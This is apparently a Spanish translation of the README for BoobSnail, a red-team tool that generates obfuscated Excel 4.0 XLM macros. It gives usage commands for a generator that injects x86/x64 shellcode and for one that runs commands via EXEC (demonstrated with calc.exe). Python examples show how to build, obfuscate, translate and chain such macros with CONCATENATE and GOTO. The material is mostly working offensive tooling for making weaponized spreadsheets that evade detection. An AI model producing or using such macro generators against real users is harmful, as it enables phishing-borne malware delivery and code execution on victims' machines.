
Genera macros XLM de Excel 4.0 ofuscadas para operaciones de equipo rojo y análisis de equipo azul, con soporte para múltiples técnicas de infección, traducción de fórmulas y generadores personalizados basados en bibliotecas.
Síguenos en Twitter!
BoobSnail permite generar macros XLM (Excel 4.0). Su propósito es apoyar al RedTeam y al BlueTeam en la generación de macros XLM. Características:
Probado en: Python 3.8.7rc1
pip install -r requirements.txt
python boobsnail.py
___. ___. _________ .__.__
\_ |__ ____ ____\_ |__ / _____/ ____ _____ |__| |
| __ \ / _ \ / _ \| __ \ \_____ \ / \__ \ | | |
| \_\ ( <_> | <_> ) \_\ \/ \ | \/ __ \| | |__
|___ /\____/ \____/|___ /_______ /___| (____ /__|____/
\/ \/ \/ \/ \/
Author: @_mzer0 @stm_cyber
(...)
python boobsnail.py <generator> -h
Para ver los generadores disponibles, escribe:
python boobsnail.py
Genera una macro ofuscada que inyecta shellcode x64 o x86:
python boobsnail.py Excel4NtDonutGenerator --inputx86 <RUTA_AL_SHELLCODE> --inputx64 <RUTA_AL_SHELLCODE> --out boobsnail.csv
Genera una macro ofuscada que ejecuta calc.exe:
python boobsnail.py Excel4ExecGenerator --cmd "powershell.exe -c calc.exe" --out boobsnail.csv
BoobSnail incluye la biblioteca excel4lib que permite crear tu propio generador de macros Excel4. excel4lib contiene algunas clases que se pueden usar al escribir un generador:
La idea principal de esta biblioteca es representar fórmulas, variables, argumentos de fórmulas y valores de Excel4 como objetos de Python. Gracias a esto, puedes cambiar atributos de las instrucciones, como nombres de fórmulas o variables, valores, direcciones, etc., de manera sencilla. Por ejemplo, creemos una macro simple que ejecute calc.exe:
from excel4lib.macro import *
# Crear objeto macro
macro = Excel4Macro("test.csv")
# Agregar variable llamada cmd con valor "calc.exe" a la hoja
cmd = macro.variable("cmd", "calc.exe")
# Agregar fórmula EXEC con argumento cmd
macro.formula("EXEC", cmd)
# Volcar a CSV
print(macro.to_csv())
Resultado:
cmd="calc.exe";
=EXEC(cmd);
Ahora supongamos que quieres ofuscar tu macro. Para ello, solo necesitas importar el ofuscador y pasarlo al objeto Excel4Macro:
from excel4lib.macro import *
from excel4lib.macro.obfuscator import *
# Crear objeto macro
macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator())
# Agregar variable llamada cmd con valor "calc.exe" a la hoja
cmd = macro.variable("cmd", "calc.exe")
# Agregar fórmula EXEC con argumento cmd
macro.formula("EXEC", cmd)
# Volcar a CSV
print(macro.to_csv())
Por ahora, excel4lib incluye dos clases de ofuscación:
Como puedes ver, puedes escribir tu propia clase de ofuscador y usarla en Excel4Macro.
A veces necesitarás traducir tu macro a otro idioma, por ejemplo tu idioma nativo; en mi caso es polaco. Con excel4lib es bastante fácil. Solo necesitas importar la clase Excel4Translator y llamar a set_language:
from excel4lib.macro import *
from excel4lib.lang.excel4_translator import *
# Cambiar idioma
Excel4Translator.set_language("pl_PL")
# Crear objeto macro
macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator())
# Agregar variable llamada cmd con valor "calc.exe" a la hoja
cmd = macro.variable("cmd", "calc.exe")
# Agregar fórmula EXEC con argumento cmd
macro.formula("EXEC", cmd)
# Volcar a CSV
print(macro.to_csv())
Resultado:
cmd="calc.exe";
=URUCHOM.PROGRAM(cmd);
Por ahora, solo se admiten los idiomas inglés y polaco. Si quieres usar otro idioma, debes agregar las traducciones en el directorio excel4lib/lang/langs.
Seguramente necesitarás crear una fórmula que tome otra fórmula como argumento. Puedes hacerlo usando la función Excel4Macro.argument.
from excel4lib.macro import *
macro = Excel4Macro("test.csv")
# Agregar variable llamada cmd con valor "calc" a la hoja
cmd_1 = macro.variable("cmd", "calc")
# Agregar celda que contiene .exe como valor
cmd_2 = macro.value(".exe")
# Crear fórmula CONCATENATE que CONCATENA cmd_1 y cmd_2
exec_arg = macro.argument("CONCATENATE", cmd_1, cmd_2)
# Pasar la llamada a CONCATENATE como argumento a la fórmula EXEC
macro.formula("EXEC", exec_arg)
# Volcar a CSV
print(macro.to_csv())
Resultado:
cmd="calc";
.exe;
=EXEC(CONCATENATE(cmd,R2C1));
Como puedes ver, la cadena ".exe" se pasó a la fórmula CONCATENATE como R2C1. R2C1 es la dirección del valor ".exe" (FILA número 2 y COLUMNA número 1). excel4lib devuelve referencias a fórmulas y valores como direcciones. Las referencias a variables se devuelven como sus nombres. Probablemente notaste que la clase Excel4Macro agrega fórmulas, variables y valores a la hoja automáticamente en el orden en que se crean estos objetos y que la dirección inicial es R1C1. ¿Qué pasa si quieres colocar fórmulas en otra columna o fila? Puedes hacerlo llamando a la función Excel4Macro.set_cords.
from excel4lib.macro import *
macro = Excel4Macro("test.csv")
# Columna 1
# Agregar variable llamada cmd con valor "calc" a la hoja
cmd_1 = macro.variable("cmd", "calc")
# Agregar celda que contiene .exe como valor
cmd_2 = macro.value(".exe")
# Columna 2
# Cambiar coordenadas a columna 2
macro.set_cords(2,1)
exec_arg = macro.argument("CONCATENATE", cmd_1, cmd_2)
# Pasar la llamada a CONCATENATE como argumento a la fórmula EXEC
exec_call = macro.formula("EXEC", exec_arg)
# Columna 1
# Volver a columna 1. Cambiar coordenadas a columna 1 y fila 3
macro.set_cords(1,3)
# GOTO a la llamada EXEC
macro.goto(exec_call)
# Volcar a CSV
print(macro.to_csv())
Resultado:
cmd="calc";=EXEC(CONCATENATE(cmd,R2C1));
.exe;;
=GOTO(R1C2);;